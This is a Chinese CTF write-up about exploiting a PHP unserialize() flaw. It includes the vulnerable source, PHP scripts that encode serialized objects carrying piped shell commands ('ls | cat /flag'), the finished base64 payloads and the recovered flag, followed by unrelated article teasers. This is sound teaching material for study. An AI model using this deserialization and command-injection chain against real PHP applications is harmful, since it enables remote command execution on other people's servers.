[web]-反序列化-base64

看到源码

 <?php 
error_reporting(0);
class A
{public $contents = "hello ctfer";function __toString(){if ((preg_match('/^[a-z]/i',$this->contents))) {system("echo $this->contents");return '111';}else{return "...";}}
}function decode_data($data){$data = base64_decode($data);$res = '';for($i=0; $i< strlen($data); $i++){$res .= chr(ord($data[$i]) + $i);}return $res;
}if (isset($_GET['data'])) {$data = $_GET['data'];$data = decode_data($data);echo unserialize($data);
}else{highlight_file(__FILE__);
}?>

起点和终点都是_toString(),类被当作字符串使用, 这里很简单,但是传入的参数经过解密,首先是需要base64解码,然后每位上加上自己的序号。反过来先构造自己的类,然后每位减去序列号,最后base64编码

<?php
class A
{public $contents = "ls /";
}$a=new A();
$data = serialize($a);
echo $data;$res='';
for($i=0; $i< strlen($data); $i++){$res .= chr(ord($data[$i]) - $i);
}$data = base64_encode($res);
echo $data;
?>

输入后提示:ls / 111,说明执行了。

但是只执行了echo命令,我们用管道符来构造命令

<?php
class A
{public $contents = "ls | ls /";
}$a=new A();
$data= serialize($a);$res='';
for($i=0; $i< strlen($data); $i++){$res .= chr(ord($data[$i]) - $i);
}$data = base64_encode($res);
echo $data;
?>TzkvNx48HDMpMXFoLissE1NeXGFRWV5cCiJZHx0dBE1T/1r9SE76CPoSUw==

输入后,可以看到目录和flag,读取flag就可以了。

<?php
class A
{public $contents = "ls | cat /flag";
}$a=new A();
$data= serialize($a);$res='';
for($i=0; $i< strlen($data); $i++){$res .= chr(ord($data[$i]) - $i);
}$data = base64_encode($res);
echo $data;
?>TzkvNx48HDMpMXFoLissE1NeXGFRWV5cCiJZHxUXHANMUv5Z/D47TfgGPEE1OvQMTQ==

flag:e7d6ee31352bf6bf9cc227ac25cdb3f1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/48938.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Zookeeper集群中节点之间数据是如何同步的

1.首先集群启动时&#xff0c;会先进行领导者选举&#xff0c;确定哪个节点是Leader&#xff0c;哪些节点是Follower和Observer 2.然后Leader会和其他节点进行数据同步&#xff0c;采用发送快照和发送Diff日志的方式 3.集群在工作过程中&#xff0c;所有的写请求都会交给Lead…

ImageView实现原理分析

ImageView 是 Android 中用于显示图片的一个基本视图组件。它继承自 View 类&#xff0c;并且可以用来展示静态的图像资源&#xff0c;如位图、动画 GIF、矢量图形等。下面我们将结合源码分析 ImageView 的实现原理。 1. 构造方法与初始化 ImageView 的构造方法和其他 View 子…

WPF串口通讯程序

目录 一 设计原型 二 后台源码 一 设计原型 二 后台源码 using HardwareCommunications; using System.IO.Ports; using System.Windows;namespace PortTest {/// <summary>/// Interaction logic for MainWindow.xaml/// </summary>public partial class MainW…

怀庄之醉是勾兑酒吗?

关于“怀庄之醉是否是勾兑酒”的问题&#xff0c;需要从多个角度进行分析。 勾兑酒在白酒生产中是一个广泛存在的工艺过程&#xff0c;它并非贬义词&#xff0c;而是指将不同口味、不同生产时间、不同度数的纯粮食酒&#xff0c;或固态法白酒与液态法白酒、食用酒精等&#xff…

软件缺陷(Bug)、禅道

目录 软件缺陷的判定标准 软件缺陷的核心内容 构成缺陷的基本要素 缺陷报告 缺陷管理 缺陷的跟踪流程 项目管理工具--禅道 软件在使用过程中存在的任何问题&#xff08;如&#xff1a;错误、异常等&#xff09;&#xff0c;都叫软件的缺陷&#xff0c;简称bug。 软件缺…

如何选择海洋船舶用总线NMEA 2000连接器

NMEA 2000连接器概述 NMEA 2000连接器是现代船舶通信系统中不可或缺的部分&#xff0c;主要用于连接船上各种电子设备&#xff0c;实现数据传输和设备控制。这些连接器遵循NMEA 2000协议标准&#xff0c;支持高速数据传输&#xff0c;并具有良好的防水、耐腐蚀性能&#xff0c…

神经网络之循环神经网络

目录 一、循环神经网络概述&#xff1a;1.传统神经网络与循环神经网络的区别&#xff1a;2.循环神经网络定义&#xff1a; 图片来自&#xff1a;深度学习———循环神经网络 一、循环神经网络概述&#xff1a; 1.传统神经网络与循环神经网络的区别&#xff1a; MLP、卷积神经…

【PostgreSQL教程】PostgreSQL 选择数据库

博主介绍:✌全网粉丝20W+,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物联网、机器学习等设计与开发。 感兴趣的可…

关于unicloud 云函数开发 加密的问题

解决的问题&#xff1a; 1.在云函数请求过程中入参参数暴露 2.云函数请求结束之后 出参结果暴露 解决方法&#xff1a; 1.在请求过程中对云函数的入参进行加密&#xff0c;在后端接收的时候将加密信息进行解密&#xff0c;根据自己的逻辑成功之后加密返回给前端 前端解密之…

多目标遗传算法(NSGAⅢ)的原理和matlab实现

参考文献&#xff1a; [1] Deb K , Jain H .An Evolutionary Many-Objective Optimization Algorithm Using Reference-Point-Based Nondominated Sorting Approach, Part I: Solving Problems With Box Constraints[J].IEEE Transactions on Evolutionary Computation, 2014,…

【Simple PIR】单服务器开源最快匿踪查询算法解析

7月17日&#xff0c;我们在《隐私计算匿踪查询技术深入浅出》中介绍了关于隐私计算中匿踪查询的定义和常见算法&#xff0c;并引出了前沿算法Simple PIR的介绍&#xff0c;本次将对Simple PIR进行正式的算法原理介绍。 1. Simple PIR快览 1.1 性能介绍 Simple PIR是Alexandra…

docker 打包orbbec

docker pull humble容器 sudo docker run -it osrf/ros:humble-desktop docker 启动容器 sudo docker run -u root --device/dev/bus/usb:/dev/bus/usb -it -v /home/wl:/share --name wl4 osrf/ros:humble-desktop /bin/bash新开一个终端 查看本地存在的容器&#xff1a;…

每类数据保留前n条(sql)

1、前言 因为遇到过好几次该需求&#xff0c;所以想着总结下&#xff0c;以后可以直接复用 2、背景及需求 背景&#xff1a;数据库中有多类数据&#xff0c;每类数据都有很多条 需求&#xff1a;每类数据按id排序&#xff0c;保留id较大的前1000条数据&#xff08;注意是每…

高速ADC模拟输入接口设计

目录 基本输入接口考虑 输入阻抗 输入驱动 带宽和通带平坦度 噪声 失真 变压器耦合前端 有源耦合前端网络 基本输入接口考虑 采用高输入频率、高速模数转换器(ADC)的系统设计是一 项具挑战性的任务。ADC输入接口设计有6个主要条件&#xff1a; 输入阻抗、输入驱动、带宽…

MYSQL设计和开发规范(简易版)

MYSQL设计和开发规范 1. 整体描述2. 数据库设计规范2.1 表名命名规则2.2 是否字段2.3 字母与数字2.4 禁止使用保留字2.5 可变字符串规范2.6 字段设计 3. 数据库索引规范3.1 命名规则3.2 唯一索引规范3.3 join规范3.4 varchar规范3.5 模糊搜索规范 4. 数据库SQL语句规范4.1 语句…

开源模型应用落地-FastAPI-助力模型交互-进阶篇-中间件(四)

一、前言 FastAPI 的高级用法可以为开发人员带来许多好处。它能帮助实现更复杂的路由逻辑和参数处理&#xff0c;使应用程序能够处理各种不同的请求场景&#xff0c;提高应用程序的灵活性和可扩展性。 在数据验证和转换方面&#xff0c;高级用法提供了更精细和准确的控制&#…

IPython魔法命令的深入应用

目录 IPython魔法命令的深入应用 一、魔法命令基础 1. 魔法命令的分类 2. 基本使用 二、高级应用技巧 1. 数据交互与处理 2. 交互式编程与调试 三、魔法命令的进阶操作 1. 自定义魔法命令 2. 利用魔法命令优化工作流程 四、总结与展望 IPython魔法命令的深入应用 IP…

vulnhub——Ai-Web1靶机渗透

Ai-Web1靶机渗透 靶机下载&#xff1a; 官网地址&#xff1a;https://www.vulnhub.com/entry/ai-web-1,353/ 攻击机&#xff1a;kali2024 一、信息收集 发下目标主机的IP为&#xff1a;192.168.201.141 用nmap工具扫描一下对方主机和服务 发现他打开了80端口 发现搜不到于是…

人是一个AI Agent吗?

人是一个AI Agent吗&#xff1f; 什么是AI Agent&#xff1f;人类的感知能力人类的推理与决策人类的执行能力人类的学习能力人类作为AI Agent的局限性结论 随着人工智能&#xff08;AI&#xff09;技术的不断发展&#xff0c;AI已经在许多领域展现出其强大的能力。AI Agent&…

详解数据结构之二叉树(堆)

详解数据结构之二叉树(堆) 树 树的概念 树是一个非线性结构的数据结构&#xff0c;它是由 n(n>0)个有限节点组成的一个具有层次关系的集合&#xff0c;它的外观形似一颗倒挂着的树&#xff0c;根朝上&#xff0c;叶朝下&#xff0c;所以称呼为树。每颗子树的根节点有且只…